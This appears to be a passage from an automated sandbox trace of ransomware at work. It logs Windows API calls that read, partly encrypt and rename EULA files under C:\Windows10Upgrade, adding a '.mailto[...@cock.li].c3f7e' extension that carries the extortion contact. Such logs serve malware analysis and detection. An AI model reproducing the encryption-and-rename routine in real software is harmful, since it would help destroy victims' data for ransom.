	[0088.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0088.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bbf58) returned 1
	[0088.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0088.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0088.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d08) returned 1
	[0088.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0088.311] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0088.311] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm"
	[0088.311] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.311] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2b4bfe00, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.311] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0088.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0088.312] NtQueryInformationFile (in: FileHandle=0x1b74, IoStatusBlock=0x2b4bfe0c, FileInformation=0x2b4bfde4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b4bfe0c, FileInformation=0x2b4bfde4) returned 0x0
	[0088.312] NtSetInformationFile (FileHandle=0x1b74, IoStatusBlock=0x2b4bfe0c, FileInformation=0x2b4bfde4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.313] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0088.313] FlushFileBuffers (hFile=0x1b74) returned 1
	[0093.252] CloseHandle (hObject=0x1b74) 

Thread:
	id = 1249
	os_tid = 0x1ff0

	[0088.306] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ko-kr.htm")) returned 0x20
	[0088.309] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm", dwFileAttributes=0x20) returned 1
	[0088.309] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ko-kr.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b78
	[0088.309] GetFileSizeEx (in: hFile=0x1b78, lpFileSize=0x2b53f9c4 | out: lpFileSize=0x2b53f9c4*=634083) returned 1
	[0088.309] SetFilePointerEx (in: hFile=0x1b78, liDistanceToMove=0x9acdf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.309] ReadFile (in: hFile=0x1b78, lpBuffer=0x2b53f948, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b53f944, lpOverlapped=0x0 | out: lpBuffer=0x2b53f948*, lpNumberOfBytesRead=0x2b53f944*=0x4, lpOverlapped=0x0) returned 1
	[0088.313] SetFilePointerEx (in: hFile=0x1b78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.314] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.314] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0088.314] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0088.314] NtQuerySystemTime (in: CurrentTime=0x2b53f924 | out: CurrentTime=0x2b53f924*=132251868150538017) returned 0x0
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0x96d2f468
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0x68d8a082
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0x489ef26d
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0xefb92bb9
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0xea5c5cda
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0x874419aa
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0x37ee73bc
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0x364026d0
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0xbc4ede5f
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0xb0b776c8
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0x71383a9
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0xab05d86b
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0xc7a398b8
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0x3900c753
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0x85627045
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0x385eb6e4
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0xa8515c9c
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0xb988a803
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0x2c9f6640
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0xc8a7aacb
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0x7ea9826c
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0xc80b4adf
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0xbbbbec61
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0x60ddd8e3
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0x991712c9
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0x9022fad
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0xf5b45088
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0xa4a6f6b9
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0xe3683328
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0x73c41ffe
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0xc56b0a7d
	[0088.314] RtlRandom (in: Seed=0x2b53f930 | out: Seed=0x2b53f930) returned 0xe11c22f4
	[0088.322] SetFilePointerEx (in: hFile=0x1b78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.323] ReadFile (in: hFile=0x1b78, lpBuffer=0x5032038, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2b53f8dc, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesRead=0x2b53f8dc*=0xc800, lpOverlapped=0x0) returned 1
	[0088.324] SetFilePointerEx (in: hFile=0x1b78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.324] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.324] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.324] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.324] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.326] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x503e840
	[0088.327] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0088.327] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d80
	[0088.327] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.327] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.327] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.327] WriteFile (in: hFile=0x1b78, lpBuffer=0x503e840*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2b53f8dc, lpOverlapped=0x0 | out: lpBuffer=0x503e840*, lpNumberOfBytesWritten=0x2b53f8dc*=0xc800, lpOverlapped=0x0) returned 1
	[0088.328] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x503e840) returned 1
	[0088.328] SetFilePointerEx (in: hFile=0x1b78, liDistanceToMove=0x57800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.328] ReadFile (in: hFile=0x1b78, lpBuffer=0x5032038, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2b53f8dc, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesRead=0x2b53f8dc*=0xc800, lpOverlapped=0x0) returned 1
	[0088.330] SetFilePointerEx (in: hFile=0x1b78, liDistanceToMove=0x57800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.330] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0088.330] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82d60
	[0088.330] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ec0
	[0088.330] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ec0) returned 1
	[0088.331] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x503e840
	[0088.331] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f60
	[0088.331] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ce0
	[0088.331] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ce0) returned 1
	[0088.331] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82d60) returned 1
	[0088.331] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0088.332] WriteFile (in: hFile=0x1b78, lpBuffer=0x503e840*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2b53f8dc, lpOverlapped=0x0 | out: lpBuffer=0x503e840*, lpNumberOfBytesWritten=0x2b53f8dc*=0xc800, lpOverlapped=0x0) returned 1
	[0088.333] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x503e840) returned 1
	[0088.333] SetFilePointerEx (in: hFile=0x1b78, liDistanceToMove=0x8e4e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.333] ReadFile (in: hFile=0x1b78, lpBuffer=0x5032038, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2b53f8dc, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesRead=0x2b53f8dc*=0xc800, lpOverlapped=0x0) returned 1
	[0088.334] SetFilePointerEx (in: hFile=0x1b78, liDistanceToMove=0x8e4e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.334] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0088.334] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d835d0
	[0088.334] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.334] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.335] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x503e840
	[0088.336] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ce0
	[0088.336] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d30
	[0088.336] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d30) returned 1
	[0088.336] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d835d0) returned 1
	[0088.336] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0088.336] WriteFile (in: hFile=0x1b78, lpBuffer=0x503e840*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2b53f8dc, lpOverlapped=0x0 | out: lpBuffer=0x503e840*, lpNumberOfBytesWritten=0x2b53f8dc*=0xc800, lpOverlapped=0x0) returned 1
	[0088.346] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x503e840) returned 1
	[0088.347] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4734088
	[0088.347] SetFilePointerEx (in: hFile=0x1b78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.347] WriteFile (in: hFile=0x1b78, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x14d, lpNumberOfBytesWritten=0x2b53f984, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2b53f984*=0x14d, lpOverlapped=0x0) returned 1
	[0088.351] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.351] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bbf20) returned 1
	[0088.351] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ee8) returned 1
	[0088.351] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bbf58) returned 1
	[0088.351] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734088) returned 1
	[0088.351] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0088.351] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d08) returned 1
	[0088.351] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0088.351] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481a198
	[0088.351] wcscpy (in: _Dest=0x481a198, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm"
	[0088.351] wcscat (in: _Dest=0x481a198, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.351] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2b53f93c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.351] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47e9d20
	[0088.352] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e9d20) returned 1
	[0088.352] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2db60) returned 1
	[0088.352] NtQueryInformationFile (in: FileHandle=0x1b78, IoStatusBlock=0x2b53f948, FileInformation=0x2b53f920, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b53f948, FileInformation=0x2b53f920) returned 0x0
	[0088.352] NtSetInformationFile (FileHandle=0x1b78, IoStatusBlock=0x2b53f948, FileInformation=0x2b53f920, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.353] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481a198) returned 1
	[0088.353] FlushFileBuffers (hFile=0x1b78) returned 1
	[0093.253] CloseHandle (hObject=0x1b78) 

Thread:
	id = 1250
	os_tid = 0x1ff4

	[0088.329] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lt-lt.htm")) returned 0x20
	[0088.332] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm", dwFileAttributes=0x20) returned 1
	[0088.332] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lt-lt.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b7c
	[0088.333] GetFileSizeEx (in: hFile=0x1b7c, lpFileSize=0x2b5bfa34 | out: lpFileSize=0x2b5bfa34*=76091) returned 1
	[0088.333] SetFilePointerEx (in: hFile=0x1b7c, liDistanceToMove=0x12937, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.333] ReadFile (in: hFile=0x1b7c, lpBuffer=0x2b5bf9b8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b5bf9b4, lpOverlapped=0x0 | out: lpBuffer=0x2b5bf9b8*, lpNumberOfBytesRead=0x2b5bf9b4*=0x4, lpOverlapped=0x0) returned 1
	[0088.337] SetFilePointerEx (in: hFile=0x1b7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.337] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.337] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d30
	[0088.337] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ec0
	[0088.337] NtQuerySystemTime (in: CurrentTime=0x2b5bf994 | out: CurrentTime=0x2b5bf994*=132251868150694308) returned 0x0
	[0088.337] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0xe79fd22d
	[0088.337] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0xc038800a
	[0088.337] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0xe467386f
	[0088.337] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0xdb16d8b6
	[0088.337] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0x45d6b8e3
	[0088.337] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0x55875fa8
	[0088.337] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0xaf886c79
	[0088.337] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0x5bfd867f
	[0088.337] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0x83b2074b
	[0088.337] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0xe6cb27d3
	[0088.337] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0x53f39ac2
	[0088.337] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0xf7ad9fba
	[0088.337] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0x41203982
	[0088.338] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0xc06f4d54
	[0088.338] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0xdbf88583
	[0088.338] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0x7790c99b
	[0088.338] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0x9e277968
	[0088.338] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0x8411a07c
	[0088.338] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0x3336edb0
	[0088.338] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0x7c7677ba
	[0088.338] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0x14c35690
	[0088.338] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0xac3abbcf
	[0088.338] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0xe4572f6d
	[0088.338] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0xc60740e
	[0088.338] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0x94204518
	[0088.338] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0x1db6eacc
	[0088.338] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0x73e0a284
	[0088.338] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0x319648bb
	[0088.338] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0x16d4c472
	[0088.338] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0xe219dd4c
	[0088.338] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0xf1ef896a
	[0088.338] RtlRandom (in: Seed=0x2b5bf9a0 | out: Seed=0x2b5bf9a0) returned 0xe0461da3
	[0088.346] SetFilePointerEx (in: hFile=0x1b7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.346] ReadFile (in: hFile=0x1b7c, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2b5bf974, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x2b5bf974*=0xc800, lpOverlapped=0x0) returned 1
	[0088.348] SetFilePointerEx (in: hFile=0x1b7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.348] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.348] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.348] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.348] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.349] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fff008
	[0088.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0088.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47dd0
	[0088.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0088.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.350] WriteFile (in: hFile=0x1b7c, lpBuffer=0x4fff008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2b5bf974, lpOverlapped=0x0 | out: lpBuffer=0x4fff008*, lpNumberOfBytesWritten=0x2b5bf974*=0xc800, lpOverlapped=0x0) returned 1
	[0088.354] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fff008) returned 1
	[0088.354] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ff2800) returned 1
	[0088.354] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x47bbf20
	[0088.354] SetFilePointerEx (in: hFile=0x1b7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.354] WriteFile (in: hFile=0x1b7c, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2b5bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2b5bf9f4*=0x10d, lpOverlapped=0x0) returned 1
	[0088.355] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.355] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bbf58) returned 1
	[0088.355] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0088.355] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bbf20) returned 1
	[0088.355] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0088.356] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d30) returned 1
	[0088.356] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47da8) returned 1
	[0088.356] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.356] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0088.356] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm"
